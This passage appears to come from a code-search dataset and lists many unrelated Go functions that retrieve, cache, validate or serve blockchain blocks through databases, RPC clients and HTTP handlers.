*http.Request) {\n\terr := processJWT(r, false, h.secret)\n\tif err != nil {\n\t\thttp.Error(w, \"{\\\"message\\\": \\\"\"+err.Error()+\"\\\"}\", 401)\n\t\treturn\n\t}\n\n\tvars := mux.Vars(r)\n\tblockId, err := hex.DecodeString(vars[\"blockId\"])\n\n\tif err != nil {\n\t\thttp.Error(w, \"{\\\"message\\\": \\\"invalid block ID\\\"}\", 400)\n\t\treturn\n\t}\n\n\tblockchainPeer, err := getBlockchainById(h.bf, vars[\"blockchainId\"])\n\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), 400)\n\t\treturn\n\t}\n\n\tif blockchainPeer == nil {\n\t\thttp.Error(w, \"{\\\"message\\\": \\\"blockchain doesn't exist\\\"}\", 404)\n\t\treturn\n\t}\n\n\tvar block *blockchain.Block\n\n\terr = blockchainPeer.Db.View(func(dbtx *bolt.Tx) error {\n\t\tb := dbtx.Bucket([]byte(blockchain.BlocksBucket))\n\n\t\tif b == nil {\n\t\t\tlog.WithFields(log.Fields{\n\t\t\t\t\"route\": \"HandleBlockInfo\",\n\t\t\t\t\"address\": r.Header.Get(\"address\"),\n\t\t\t}).Warn(\"bucket doesn't exist\")\n\t\t\treturn errors.New(\"block doesn't exist\")\n\t\t}\n\n\t\tencodedBlock := b.Get(blockId)\n\n\t\tif encodedBlock == nil {\n\t\t\tlog.WithFields(log.Fields{\n\t\t\t\t\"route\": \"HandleBlockInfo\",\n\t\t\t\t\"address\": r.Header.Get(\"address\"),\n\t\t\t}).Error(\"block doesn't exist\")\n\t\t\treturn errors.New(\"block doesn't exist\")\n\t\t}\n\t\tblock = blockchain.DeserializeBlock(encodedBlock)\n\t\treturn nil\n\t})\n\n\tif err != nil {\n\t\thttp.Error(w, \"{\\\"message\\\": \\\"block doesn't exist\\\"}\", 404)\n\t\treturn\n\t}\n\n\tblockInfoResponse := BlockInfo{BlockchainId: vars[\"blockchainId\"], BlockId: fmt.Sprintf(\"%x\", block.Hash), PrevBlockId: fmt.Sprintf(\"%x\", block.PrevBlockHash), BlockHeight: block.Height, TotalTransactions: block.TotalTransactions}\n\n\tmustEncode(w, blockInfoResponse)\n}", "func (bs *GasChargeBlockStore) Get(ctx context.Context, c cid.Cid) (blocks.Block, error) {\n\tbs.gasTank.Charge(bs.pricelist.OnIpldGet(), \"storage get %s\", c)\n\n\tblk, err := bs.inner.Get(ctx, c)\n\tif err != nil {\n\t\tpanic(xerrors.WithMessage(err, \"failed to get block from blockstore\"))\n\t}\n\treturn blk, nil\n}", "func (b *Block) Get(input *BlockInput) (*Block, error) {\n\tresp, err := b.c.Request(http.MethodGet, fmt.Sprintf(\"/blocks/%s\", input.ID), new(bytes.Buffer), nil)\n\tif err != nil {\n\t\treturn &Block{}, err\n\t}\n\tdefer resp.Body.Close()\n\n\tvar block *Block\n\terr = json.NewDecoder(resp.Body).Decode(&block)\n\tif err != nil {\n\t\treturn &Block{}, err\n\t}\n\treturn block, nil\n}", "func (n NemClient) GetInfo() (*transport.CoinState, error) {\n\tvar info NemGetLastBlockResponse\n\n\tif err := n.GET(\"/chain/last-block\", nil, &info); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &transport.CoinState{\n\t\tData: transport.CoinData{\n\t\t\tChain: \"main\",\n\t\t\tBlockHeight: int(info.Height),\n\t\t\tCurrentBlock: info.PrevBlockHash.Data,\n\t\t},\n\t}, nil\n}", "func (itr *BlocksItr) Get() (ledger.QueryResult, error) {\n\tif itr.err != nil {\n\t\treturn nil, itr.err\n\t}\n\treturn &BlockHolder{itr.nextBlockBytes}, nil\n}", "func (nc *NSBClient) GetBlock(id int64) (*BlockInfo, error) {\n\tb, err := nc.handler.Group(\"/block\").GetWithParams(request.Param{\n\t\t\"height\": id,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar bb []byte\n\tbb, err = nc.preloadJSONResponse(b)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar a BlockInfo\n\terr = json.Unmarshal(bb, &a)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &a, nil\n}", "func (s *State) GetBlock(blkID ids.ID) (snowman.Block, error) {\n\tif blk, ok := s.getCachedBlock(blkID); ok {\n\t\treturn blk, nil\n\t}\n\n\tif _, ok := s.missingBlocks.Get(blkID); ok {\n\t\treturn nil, database.ErrNotFound\n\t}\n\n\tblk, err := s.getBlock(blkID)\n\t// If getBlock returns [database.ErrNotFound], State considers\n\t// this a cacheable miss.\n\tif err == database.ErrNotFound {\n\t\ts.missingBlocks.Put(blkID, struct{}{})\n\t\treturn nil, err\n\t} else if err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Since this block is not in consensus, addBlockOutsideConsensus\n\t// is called to add [blk] to the correct cache.\n\treturn s.addBlockOutsideConsensus(blk)\n}", "func (s *Server) getBlockByHeight(ctx context.Context, height int64) (*chainhash.Hash, *wire.MsgBlock, error) {\n\tvar bh *chainhash.Hash\n\tvar err error\n\tif bh, err = s.getBlockHash(ctx, height); err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tvar b *wire.MsgBlock\n\tif b, err = s.getBlock(ctx, bh); err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\treturn bh, b, nil\n}", "func (ds *Dsync) GetBlock(ctx context.Context, hash string) ([]byte, error) {\n\trdr, err := ds.bapi.Get(ctx, path.New(hash))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn ioutil.ReadAll(rdr)\n}", "func (dao *blockDAO) getBlock(hash hash.Hash256) (*block.Block, error) {\n\theader, err := dao.header(hash)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"failed to get block header %x\", hash)\n\t}\n\tbody, err := dao.body(hash)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"failed to get block body %x\", hash)\n\t}\n\tfooter, err := dao.footer(hash)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"failed to get block footer %x\", hash)\n\t}\n\treturn &block.Block{\n\t\tHeader: *header,\n\t\tBody: *body,\n\t\tFooter: *footer,\n\t}, nil\n}", "func (g *Geth) GetBlockAtHeight(height uint64) (WrkChainBlockHeader, error) {\n\n\tqueryUrl := viper.GetString(types.FlagWrkchainRpc)\n\n\tatHeight := \"latest\"\n\n\tif height > 0 {\n\t\tatHeight = \"0x\" + strconv.FormatUint(height, 16)\n\t}\n\n\tvar jsonStr = []byte(`{\"jsonrpc\":\"2.0\",\"method\":\"eth_getBlockByNumber\",\"params\":[\"` + atHeight + `\",false],\"id\":1}`)\n\n\tresp, err := http.Post(queryUrl, \"application/json\", bytes.NewBuffer(jsonStr))\n\tif err != nil {\n\t\treturn WrkChainBlockHeader{}, err\n\t}\n\tdefer resp.Body.Close()\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn WrkChainBlockHeader{}, err\n\t}\n\n\tvar res GethBlockHeaderResult\n\terr = json.Unmarshal(body, &res)\n\tif err != nil {\n\t\treturn WrkChainBlockHeader{}, err\n\t}\n\n\theader := res.Result\n\tcleanedHeight := strings.Replace(header.Number, \"0x\", \"\", -1)\n\tblockNumber, err := strconv.ParseUint(cleanedHeight, 16, 64)\n\n\tif err != nil {\n\t\treturn WrkChainBlockHeader{}, err\n\t}\n\n\tblockHash := header.Hash\n\tparentHash := \"\"\n\thash1 := \"\"\n\thash2 := \"\"\n\thash3 := \"\"\n\tblockHeight := blockNumber\n\n\tif height == 0 {\n\t\tg.lastHeight = blockNumber\n\t}\n\n\tif viper.GetBool(types.FlagParentHash) {\n\t\tparentHash = header.ParentHash\n\t}\n\n\thash1Ref := viper.GetString(types.FlagHash1)\n\thash2Ref := viper.GetString(types.FlagHash2)\n\thash3Ref := viper.GetString(types.FlagHash3)\n\n\tif len(hash1Ref) > 0 {\n\t\thash1 = g.getHash(header, hash1Ref)\n\t}\n\n\tif len(hash2Ref) > 0 {\n\t\thash2 = g.getHash(header, hash2Ref)\n\t}\n\n\tif len(hash3Ref) > 0 {\n\t\thash3 = g.getHash(header, hash3Ref)\n\t}\n\n\twrkchainBlock := NewWrkChainBlockHeader(blockHeight, blockHash, parentHash, hash1, hash2, hash3)\n\n\treturn wrkchainBlock, nil\n}", "func (s *BlocksService) Get(ctx context.Context, id string) (*GetBlock, *http.Response, error) {\n\tquery := &BlockIdQuery{Id: id}\n\n\tvar responseStruct *GetBlock\n\tresp, err := s.client.SendRequest(ctx, \"GET\", \"blocks/get\", query, &responseStruct)\n\n\tif err != nil {\n\t\treturn nil, resp, err\n\t}\n\n\treturn responseStruct, resp, err\n}", "func (c *BlockCache) readBlock(height int) *walletrpc.CompactBlock {\n\tblockLen := c.blockLength(height)\n\tb := make([]byte, blockLen+8)\n\toffset := c.starts[height-c.firstBlock]\n\tn, err := c.blocksFile.ReadAt(b, offset)\n\tif err != nil || n != len(b) {\n\t\tLog.Warning(\"blocks read offset: \", offset, \" failed: \", n, err)\n\t\treturn nil\n\t}\n\tdiskcs := b[:8]\n\tb = b[8 : blockLen+8]\n\tif !bytes.Equal(checksum(height, b), diskcs) {\n\t\tLog.Warning(\"bad block checksum at height: \", height, \" offset: \", offset)\n\t\treturn nil\n\t}\n\tblock := &walletrpc.CompactBlock{}\n\terr = proto.Unmarshal(b, block)\n\tif err != nil {\n\t\t// Could be file corruption.\n\t\tLog.Warning(\"blocks unmarshal at offset: \", offset, \" failed: \", err)\n\t\treturn nil\n\t}\n\tif int(block.Height) != height {\n\t\t// Could be file corruption.\n\t\tLog.Warning(\"block unexpected height at height \", height, \" offset: \", offset)\n\t\treturn nil\n\t}\n\treturn block\n}", "func GetBlock(x uint64) block.Block{\r\n\t\tvar block1 block.MinBlock\r\n\t\tvar block2 block.Block\r\n\t\tblock1.BlockNumber = x\r\n\t\tblock1.ChainYear = ChainYear\r\n\t\tfmt.Println(\"ChainYear\", block1.ChainYear)\r\n\t\tdata, err:= json.Marshal(block1)\r\n\t\tif err !=nil{\r\n\t\t\tfmt.Println(\"Error Reading Block\", err)\r\n\t\t}\r\n\t\tfmt.Println(\"Block as Json\", data)\r\n\t\ttheNodes := GetNodes(block1.BlockHash())\r\n\t\t\r\n\t\tcall := \"getBlock\"\r\n\t\t\r\n\t\tfor x:=0; x < len(theNodes); x +=1{\r\n\t\t\t\t\r\n\t\t\turl1 := \"http://\"+ MyNode.Ip+ MyNode.Port+\"/\"+ call\r\n\t\t\tfmt.Println(\"url:\", url1)\r\n\t\t\t resp, err := http.Post(url1, \"application/json\", bytes.NewBuffer(data))\r\n\r\n\t\t\tif err != nil {\r\n\t\t\t\tfmt.Println(\"Error connectig to node trying next node \", err)\r\n\t\t\t}else{\r\n\t\t\t\tfmt.Println(\"Block as Json\", data)\r\n\t\t\t\tjson.NewDecoder(resp.Body).Decode(&block2)\r\n\t\t\t\treturn block2\r\n\t\t\t}\r\n\t\t}\r\nreturn block2\r\n\t\t\r\n\t\t\r\n}", "func (rc *ReadCache) ReceiveBlock(*block.Block) error {\n\t// invalidate the cache at every new block\n\trc.Clear()\n\treturn nil\n}", "func (c *BlockCache) GetFirstHeight() int {\n\tc.mutex.RLock()\n\tdefer c.mutex.RUnlock()\n\treturn c.firstBlock\n}", "func blockDetails(block *btcutil.Block, txIndex int) *btcjson.BlockDetails {\n\tif block == nil {\n\t\treturn nil\n\t}\n\treturn &btcjson.BlockDetails{\n\t\tHeight: block.Height(),\n\t\tHash: block.Hash().String(),\n\t\tIndex: txIndex,\n\t\tTime: block.MsgBlock().Header.Timestamp.Unix(),\n\t}\n}", "func (w WavesClient) GetInfo() (*transport.CoinState, error) {\n\tvar res WavesGetBlockResponse\n\n\terr := w.GET(\"/blocks/last\", nil, &res)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"error getting latest waves block\")\n\t}\n\n\treturn &transport.CoinState{\n\t\tData: transport.CoinData{\n\t\t\tChain: \"main\",\n\t\t\tBlockHeight: res.Height,\n\t\t\tCurrentBlock: fmt.Sprintf(\"%d\", res.Height),\n\t\t},\n\t}, nil\n}", "func getBlockByHash(params interface{}) (interface{}, error) {\n\tp, ok := params.(*BlockHashParams)\n\tif !ok {\n\t\treturn nil, resp.BadRequestErr\n\t}\n\tdb := db.NewDB()\n\tdefer db.Close()\n\n\t// query block info\n\trow := db.QueryRow(\"SELECT height, hash, version, time, nonce, difficulty, prev, tx_root, status, sign, hex FROM blocks WHERE hash=?\", p.Hash)\n\tblock := &resp.Block{}\n\terr := row.Scan(&block.Height, &block.Hash, &block.Version, &block.Time, &block.Nonce, &block.Difficulty, &block.Prev, &block.TxRoot, &block.Status, &block.Sign, &block.Hex)\n\tif err != nil {\n\t\treturn nil, resp.NotFoundErr\n\t}\n\n\t// query next block hash\n\trow = db.QueryRow(\"SELECT hash FROM blocks WHERE height=?\", block.Height+1)\n\tvar next string\n\trow.Scan(&next)\n\tblock.Next = next\n\n\t// query block transactions\n\trows, err := db.Query(\"SELECT tx_id, version, type FROM transactions WHERE height=?\", block.Height)\n\tif err != nil {\n\t\treturn nil, resp.InternalServerErr\n\t}\n\tdefer rows.Close()\n\n\tfor rows.Next() {\n\t\tvar transaction = &resp.Transaction{}\n\t\terr := rows.Scan(&transaction.TxID, &transaction.Version, &transaction.Type)\n\t\tif err != nil {\n\t\t\treturn nil, resp.InternalServerErr\n\t\t}\n\t\terr = getTx(db, transaction)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tblock.Transactions = append(block.Transactions, *transaction)\n\t}\n\treturn block, nil\n}", "func (bd *BlockDAG) getBlock(h *hash.Hash) IBlock {\n\tif h == nil {\n\t\treturn nil\n\t}\n\tblock, ok := bd.blocks[*h]\n\tif !ok {\n\t\treturn nil\n\t}\n\treturn block\n}", "func (c *Client) GetCurrentBlockInfo() (cbi *CurrentBlockInfo, err error) {\n\terr = c.Get(&cbi, \"clientInit\", nil)\n\n\treturn cbi, err\n}", "func (db *StakeDatabase) BlockCached(ind int64) (*dcrutil.Block, bool) {\n\tdb.blkMtx.RLock()\n\tdefer db.blkMtx.RUnlock()\n\tblock, found := db.blockCache[ind]\n\treturn block, found\n}", "func (api *GoShimmerAPI) GetBlock(base58EncodedID string) (*jsonmodels.Block, error) {\n\tres := &jsonmodels.Block{}\n\n\tif err := api.do(\n\t\thttp.MethodGet,\n\t\trouteBlock+base58EncodedID,\n\t\tnil,\n\t\tres,\n\t); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn res, nil\n}", "func (query *Query) GetBlock(ctx context.Context, height int64) (*model.Block, error) {\n\tresp, err := query.transport.QueryBlock(ctx, height)\n\tif err != nil {\n\t\treturn nil, errors.QueryFailf(\"GetBlock err\").AddCause(err)\n\t}\n\n\tblock := new(model.Block)\n\tblock.Header = resp.Block.Header\n\tblock.Evidence = resp.Block.Evidence\n\tblock.LastCommit = resp.Block.LastCommit\n\tblock.Data = new(model.Data)\n\tblock.Data.Txs = []model.Transaction{}\n\tfor _, txBytes := range resp.Block.Data.Txs {\n\t\tvar tx model.Transaction\n\t\tif err := query.transport.Cdc.UnmarshalJSON(txBytes, &tx); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tblock.Data.Txs = append(block.Data.Txs, tx)\n\t}\n\treturn block, nil\n}", "func GetBlkInfo() error {\n\tif len(StorageBlkDevices) == 0 {\n\t\tvar err error\n\t\tDebug(\"getBlkInfo: expensive function call to get block stats from storage pkg\")\n\t\tStorageBlkDevices, err = block.GetBlockDevices()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"getBlkInfo: storage.GetBlockDevices err=%v. Exiting\", err)\n\t\t}\n\t\t// no block devices exist on the system.\n\t\tif len(StorageBlkDevices) == 0 {\n\t\t\treturn fmt.Errorf(\"getBlkInfo: no block devices found\")\n\t\t}\n\t\t// print the debug info only when expensive call to storage is made\n\t\tfor k, d := range StorageBlkDevices {\n\t\t\tDebug(\"block device #%d: %s\", k, d)\n\t\t}\n\t\treturn nil\n\t}\n\tDebug(\"getBlkInfo: noop\")\n\treturn nil\n}", "func (tb *tableManager) read(keyIn uint64) (*Block, error) {\n\tentry, err := tb.getEntry(keyIn)\n\tif err != nil {\n\t\tlog.Println(\"Could not obtain entry.\")\n\t\treturn nil, errors.New(\"Could not obtain entry.\")\n\t}\n\tif entry.flags&flagRemove != 0 {\n\t\t// dataBase should be able to tell if a dirtyKey is marked\n\t\t// for removal so it can write it as removed in log.\n\t\treturn nil, nil\n\t}\n\ttb.updateLRUCacheHead(entry)\n\treturn entry.block, nil\n}", "func (b *AbstractBaseEntity) GetBlock(parent string) (string, error) {\n\tparent = `(?m)^` + parent + `$`\n\treturn b.node.GetSection(parent, \"running-config\")\n}", "func (c *Client) GetBlock(hash string) (resp *Block, e error) {\n\tif hash == \"\" || len(hash) != 64 {\n\t\treturn nil, c.err(ErrBHW)\n\t}\n\n\tresp = &Block{}\n\treturn resp, c.Do(\"/rawblock/\"+hash, resp, nil)\n}", "func (d *AddressCacheItem) BlockHeight() int64 {\n\td.mtx.RLock()\n\tdefer d.mtx.RUnlock()\n\treturn d.height\n}", "func (c *DaemonClient) GetBlock(height uint, hash string) (Block, error) {\n\tvar b Block\n\treq := struct {\n\t\theight uint `json:\"height, omitempty\"`\n\t\thash string `json:\"hash, omitempty\"`\n\t}{\n\t\theight,\n\t\thash,\n\t}\n\tif err := call(c.endpoint, \"getblock\", req, &b); err != nil {\n\t\treturn b, err\n\t}\n\treturn b, nil\n}", "func getBlkFromHash(hash [constants.HASHSIZE]byte) Block {\n\tvar retBlk Block\n\tsess, err := mgo.Dial(\"localhost\")\n\tcheckerror(err)\n\tdefer sess.Close()\n\thandle := sess.DB(\"Goin\").C(\"Blocks\")\n\tBlkQuery := handle.Find(bson.M{\"hash\": hash})\n\terr = BlkQuery.One(&retBlk)\n\tif err != nil {\n\t\treturn Block{}\n\t}\n\treturn retBlk\n}", "func (cfg *Config) Fetch(ctx context.Context, hash hotstuff.Hash) (*hotstuff.Block, bool) {\n\tprotoBlock, err := cfg.cfg.Fetch(ctx, &proto.BlockHash{Hash: hash[:]})\n\tif err != nil && !errors.Is(err, context.Canceled) {\n\t\tcfg.mod.Logger().Infof(\"Failed to fetch block: %v\", err)\n\t\treturn nil, false\n\t}\n\treturn proto.BlockFromProto(protoBlock), true\n}", "func (r *bufferingReaderAt) readBlock(offset int64) (data []byte, err error) {\n\t// Have it cached already?\n\tif b, ok := r.lru.get(offset); ok {\n\t\tdata = b.data\n\t\tif b.last {\n\t\t\terr = io.EOF\n\t\t}\n\t\treturn\n\t}\n\n\t// Kick out the oldest block (if any) to move its buffer to the free buffers\n\t// pool and then immediately grab this buffer.\n\tr.lru.prepareForAdd()\n\tdata = r.grabBuf()\n\n\t// Read the block from the underlying reader.\n\tread, err := r.r.ReadAt(data, offset)\n\tdata = data[:read]\n\n\t// ReadAt promises that it returns nil only if it read the full block. We rely\n\t// on this later, so double check.\n\tif err == nil && read != r.blockSize {\n\t\tpanic(fmt.Sprintf(\"broken ReaderAt: should have read %d bytes, but read only %d\", r.blockSize, read))\n\t}\n\n\t// Cache fully read blocks and the partially read last block, but skip blocks\n\t// that were read partially due to unexpected errors.\n\tif err == nil || err == io.EOF {\n\t\tr.lru.add(block{\n\t\t\toffset: offset,\n\t\t\tdata: data,\n\t\t\tlast: err == io.EOF,\n\t\t})\n\t} else {\n\t\t// Caller promises not to retain 'data', so we can return it right away.\n\t\tr.recycleBuf(data)\n\t}\n\n\treturn data, err\n}", "func BlockChainInfoValidation(Block *block.Block) (error) {\n ResponseBlock := block.ResponseBlock{}\n blockHash := ReverseEndian(Block.BlockHash)\n fmt.Println(\"block hash\", blockHash)\n resp, err := http.Get(BLOCKCHAININFOENDPOINT + blockHash)\n if err != nil {\n return err\n }\n defer resp.Body.Close()\n body, _ := ioutil.ReadAll(resp.Body)\n json.Unmarshal(body, &ResponseBlock)\n\n if blockHash == ResponseBlock.Hash {\n fmt.Println(\"Height: \", ResponseBlock.Height)\n return nil\n }\n return errors.New(\"Hashes do not match\")\n}", "func GetBlockHandler(w http.ResponseWriter, r *http.Request) {\n\t// update in case last update is newer\n\tvars := mux.Vars(r)\n\t// convert block index string to uint64\n\tblockID, _ := strconv.ParseUint(vars[\"blockId\"], 10, 64)\n\n\ttmp := atomic.LoadUint64(&lastBlock)\n\tif blockID > tmp {\n\t\tw.WriteHeader(http.StatusBadRequest)\n\t\terr := fmt.Errorf(\"requested id %d latest %d\", blockID, lastBlock)\n\t\tlog.Println(err.Error())\n\t\t_, _ = w.Write([]byte(err.Error()))\n\t\treturn\n\t}\n\t// retuning anything in the body regardless of any error code\n\t// it may contain\n\t_, _, body, _ := dataCollection.GetBlock(blockID, config.DefaultRequestsTimeout)\n\twriteResponse(body, &w)\n}", "func GetFirstBlockData() (*consts.FirstBlock, error) {\r\n\tmutex.RLock()\r\n\tdefer mutex.RUnlock()\r\n\r\n\tif firstBlockData == nil {\r\n\t\treturn nil, errFirstBlockData\r\n\t}\r\n\r\n\treturn firstBlockData, nil\r\n}", "func (a API) GetBlockChk() (isNew bool) {\n\tselect {\n\tcase o := <-a.Ch.(chan GetBlockRes):\n\t\tif o.Err != nil {\n\t\t\ta.Result = o.Err\n\t\t} else {\n\t\t\ta.Result = o.Res\n\t\t}\n\t\tisNew = true\n\tdefault:\n\t}\n\treturn\n}", "func (c *Client) GetBlock(hash string) (block *rpctypes.ResultBlock, err error) {\n\tblock = new(rpctypes.ResultBlock)\n\terr = c.get(block, c.URL(\"block/hash/%s\", hash))\n\terr = errors.Wrap(err, \"getting block by hash\")\n\treturn\n}", "func (bc *BlockChain) GetBlock(hash common.Hash, number uint64) *types.Block {\n\t// Short circuit if the block's already in the cache, retrieve otherwise\n\tif block, ok := bc.blockCache.Get(hash); ok {\n\t\treturn block.(*types.Block)\n\t}\n\tblock := rawdb.ReadBlock(bc.db, hash, number)\n\tif block == nil {\n\t\treturn nil\n\t}\n\t// Cache the found block for next time and return\n\tbc.blockCache.Add(block.Hash(), block)\n\treturn block\n}", "func getBlock(res rpc.GetBlockResponse) (GetBlockResponse, error) {\n\ttxs := make([]GetBlockTransaction, 0, len(res.Result.Transactions))\n\tfor _, rTx := range res.Result.Transactions {\n\t\tdata, ok := rTx.Transaction.([]interface{})\n\t\tif !ok {\n\t\t\treturn GetBlockResponse{}, fmt.Errorf(\"failed to cast raw response to []interface{}\")\n\t\t}\n\t\tif data[1] != string(rpc.GetTransactionConfigEncodingBase64) {\n\t\t\treturn GetBlockResponse{}, fmt.Errorf(\"encoding mistmatch\")\n\t\t}\n\t\trawTx, err := base64.StdEncoding.DecodeString(data[0].(string))\n\t\tif err != nil {\n\t\t\treturn GetBlockResponse{}, fmt.Errorf(\"failed to base64 decode data, err: %v\", err)\n\t\t}\n\t\ttx, err := types.TransactionDeserialize(rawTx)\n\t\tif err != nil {\n\t\t\treturn GetBlockResponse{}, fmt.Errorf(\"failed to deserialize transaction, err: %v\", err)\n\t\t}\n\n\t\tvar transactionMeta *TransactionMeta\n\t\tif rTx.Meta != nil {\n\t\t\tinnerInstructions := make([]TransactionMetaInnerInstruction, 0, len(rTx.Meta.InnerInstructions))\n\t\t\tfor _, metaInnerInstruction := range rTx.Meta.InnerInstructions {\n\t\t\t\tcompiledInstructions := make([]types.CompiledInstruction, 0, len(metaInnerInstruction.Instructions))\n\t\t\t\tfor _, innerInstruction := range metaInnerInstruction.Instructions {\n\t\t\t\t\tdata, err := base58.Decode(innerInstruction.Data)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn GetBlockResponse{}, fmt.Errorf(\"failed to base58 decode data, data: %v, err: %v\", innerInstruction.Data, err)\n\t\t\t\t\t}\n\t\t\t\t\tcompiledInstructions = append(compiledInstructions, types.CompiledInstruction{\n\t\t\t\t\t\tProgramIDIndex: innerInstruction.ProgramIDIndex,\n\t\t\t\t\t\tAccounts: innerInstruction.Accounts,\n\t\t\t\t\t\tData: data,\n\t\t\t\t\t})\n\t\t\t\t}\n\t\t\t\tinnerInstructions = append(innerInstructions, TransactionMetaInnerInstruction{\n\t\t\t\t\tIndex: metaInnerInstruction.Index,\n\t\t\t\t\tInstructions: compiledInstructions,\n\t\t\t\t})\n\t\t\t}\n\t\t\ttransactionMeta = &TransactionMeta{\n\t\t\t\tErr: rTx.Meta.Err,\n\t\t\t\tFee: rTx.Meta.Fee,\n\t\t\t\tPreBalances: rTx.Meta.PreBalances,\n\t\t\t\tPostBalances: rTx.Meta.PostBalances,\n\t\t\t\tPreTokenBalances: rTx.Meta.PreTokenBalances,\n\t\t\t\tPostTokenBalances: rTx.Meta.PostTokenBalances,\n\t\t\t\tLogMessages: rTx.Meta.LogMessages,\n\t\t\t\tInnerInstructions: innerInstructions,\n\t\t\t}\n\t\t}\n\n\t\ttxs = append(txs,\n\t\t\tGetBlockTransaction{\n\t\t\t\tMeta: transactionMeta,\n\t\t\t\tTransaction: tx,\n\t\t\t},\n\t\t)\n\t}\n\treturn GetBlockResponse{\n\t\tBlockhash: res.Result.Blockhash,\n\t\tBlockTime: res.Result.BlockTime,\n\t\tBlockHeight: res.Result.BlockHeight,\n\t\tPreviousBlockhash: res.Result.PreviousBlockhash,\n\t\tParentSLot: res.Result.ParentSLot,\n\t\tRewards: res.Result.Rewards,\n\t\tTransactions: txs,\n\t}, nil\n}", "func (b *Backend) GetLatestBlock(ctx context.Context, isSealed bool) (*flowgo.Block, error) {\n\tblock, err := b.emulator.GetLatestBlock()\n\tif err != nil {\n\t\treturn nil, status.Error(codes.Internal, err.Error())\n\t}\n\n\tblockID := block.ID()\n\n\tb.logger.WithFields(logrus.Fields{\n\t\t\"blockHeight\": block.Header.Height,\n\t\t\"blockID\": hex.EncodeToString(blockID[:]),\n\t}).Debug(\"🎁 GetLatestBlock called\")\n\n\treturn block, nil\n}", "func (blockChain *BlockChain) Get(height int32) []Block {\n\treturn blockChain.Chain[height]\n}", "func (c *Crawler) backtrackBlock() chainhash.Hash {\t\n\t// BACKTRACK ONE BLOCK\n\tif c.blockQueue.Len() == 1 {\n\t\tlog.Panic(\"Backtrack limit reached\")\n\t}\n\n\tc.height -= 1\n\tc.newFetcher(c.height) // Fetch previous block again\n\treturn c.blockQueue.PopBack().(chainhash.Hash)\n}", "func (blockchain *Blockchain) Info(_ abciTypes.RequestInfo) (resInfo abciTypes.ResponseInfo) {\n\thash := blockchain.appDB.GetLastBlockHash()\n\theight := int64(blockchain.appDB.GetLastHeight())\n\treturn abciTypes.ResponseInfo{\n\t\tVersion: version.Version,\n\t\tAppVersion: version.AppVer,\n\t\tLastBlockHeight: height,\n\t\tLastBlockAppHash: hash,\n\t}\n}", "func (blockchain *BlockChain) Get(height int32) ([]block1.Block, bool) {\n\tif height <= blockchain.Length && height > 0 {\n\t\t//_, ok := blockchain.Chain[height]\n\t\t//fmt.Println(\"OK ? :\", ok /*, \" : \", val*/)\n\t\treturn blockchain.Chain[height], true\n\t}\n\treturn nil, false\n}", "func (s *Server) LegacyGetBlockChainInfo(path int) http.HandlerFunc {\n\n\ttype blockFees struct {\n\t\tAvg float64 `json:\"avg\"`\n\t\tMin float64 `json:\"min\"`\n\t\tMax float64 `json:\"max\"`\n\n\t\tFast float64 `json:\"fast\"`\n\t\tMed float64 `json:\"med\"`\n\t\tSlow float64 `json:\"slow\"`\n\t}\n\n\ttype blockChainInfo struct {\n\t\tBlocks int64 `json:\"blocks\"`\n\t\tFees blockFees `json:\"fees\"`\n\t}\n\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\n\t\t// Get the top 3 blocks\n\t\tblks, err := s.blockChainStore.FindBlocksByBlockIdsAndTime(btc.Symbol, nil, nil, nil, blocc.BlockIncludeHeader|blocc.BlockIncludeData, 0, 3)\n\t\tif err == blocc.ErrNotFound {\n\t\t\trender.Render(w, r, server.ErrNotFound)\n\t\t\treturn\n\t\t} else if err != nil && !blocc.IsValidationError(err) {\n\t\t\trender.Render(w, r, server.ErrInvalidRequest(err))\n\t\t\treturn\n\t\t} else if len(blks) != 3 {\n\t\t\trender.Render(w, r, s.ErrInternalLog(fmt.Errorf(\"Did not get top 3 blocks when collecting fees\")))\n\t\t\treturn\n\t\t}\n\n\t\tvar count float64\n\t\tvar txTotalSize float64\n\t\tvar txTotalCount float64\n\t\tvar info blockChainInfo\n\n\t\tfor _, blk := range blks {\n\n\t\t\t// Get the block height. It will be the first block but we'll do this to make it simple and reliable\n\t\t\tif blk.Height > info.Blocks {\n\t\t\t\tinfo.Blocks = blk.Height + 1 // This endpoint was expected to return the count of blocks (genesis block = block 0 so add 1)\n\t\t\t}\n\n\t\t\t// Make sure this is a block that actually has fees in it\n\t\t\tif cast.ToInt64(blk.DataValue(\"fee\")) == 0 {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// Use the median or the average for the fee, whichever is lower\n\t\t\tmedian := cast.ToFloat64(blk.DataValue(\"fee_median\"))\n\t\t\tif median > 0 && median < cast.ToFloat64(blk.DataValue(\"fee_avg\")) {\n\t\t\t\tinfo.Fees.Avg += median\n\t\t\t} else {\n\t\t\t\tinfo.Fees.Avg += cast.ToFloat64(blk.DataValue(\"fee_avg\"))\n\t\t\t}\n\n\t\t\tinfo.Fees.Min += cast.ToFloat64(blk.DataValue(\"fee_min\"))\n\t\t\tinfo.Fees.Max += cast.ToFloat64(blk.DataValue(\"fee_max\"))\n\n\t\t\tcount += 1.0\n\t\t\ttxTotalSize += cast.ToFloat64(blk.BlockSize - 88)\n\t\t\ttxTotalCount += cast.ToFloat64(blk.TxCount)\n\t\t}\n\n\t\t// If test mode, return hard coded fees\n\t\tif config.GetBool(\"server.legacy.btc_fee_testing\") {\n\t\t\tinfo.Fees.Min = 1.1\n\t\t\tinfo.Fees.Avg = 